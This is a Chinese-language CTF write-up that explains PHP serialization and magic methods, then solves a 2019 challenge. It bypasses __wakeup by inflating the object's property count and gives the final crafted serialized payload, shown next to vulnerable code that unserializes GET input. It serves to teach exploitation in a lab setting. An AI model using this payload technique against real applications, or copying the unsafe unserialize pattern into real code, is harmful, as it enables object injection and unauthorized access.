0%

序列化与发序列化 绕过__weakup()

序列化与发序列化

php

1.1前置知识

反序列化的对象是类与对象

1.1.1常用的一些魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct()//创建对象的时候使用

1.1.2相关函数

unserialize()将传入字符串反序列化。

serialize()将传入变量序列化。

与之类似于还有:json_encodejson_decode

1.1.3序列化与反序列化

序列化是将任意类型的变量以特定的规则转换成一串字符串,可以用更少的空间保存对象里的信息,便于传输;反序列化则是根据规则还原字符串所对应的变量;

如果变量类型是protected,则会在变量名前加上%00*%00,private则会在变量名前加上%00类名%00(这里不可见字符要用url编码表示)

1.1.4格式

image-20220119132735454

image-20220119132752202

2.常见的绕过

[(33条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化

3.找点题

[极客大挑战 2019]PHP

访问www.zip拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>//class.php
1
2
3
4
5
6
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
//index.php

index.php ,会调用class.php,以及对输入反序列化

然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00

最后payload:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

提交得到flag